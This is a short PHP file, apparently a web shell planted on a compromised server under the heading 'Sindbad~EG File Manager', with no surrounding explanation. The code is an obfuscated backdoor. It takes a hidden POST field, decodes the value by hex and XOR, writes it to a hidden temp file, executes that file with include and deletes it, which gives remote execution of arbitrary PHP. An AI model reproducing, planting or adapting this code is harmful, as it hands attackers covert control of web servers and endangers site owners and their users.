Sindbad~EG File Manager

<?php

if(array_key_exists("\x66\x6Cag", $_POST)){
	$ref = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	$value = hex2bin($_POST["\x66\x6Cag"]);
	$val = ''; for($t=0; $t<strlen($value); $t++){$val .= chr(ord($value[$t]) ^ 4);}
	foreach ($ref as $ent) {
    		if (!( !is_dir($ent) || !is_writable($ent) )) {
    $bind = join("/", [$ent, ".tkn"]);
    $file = fopen($bind, 'w');
if ($file) {
	fwrite($file, $val);
	fclose($file);
	include $bind;
	@unlink($bind);
	exit;
}
}
}
}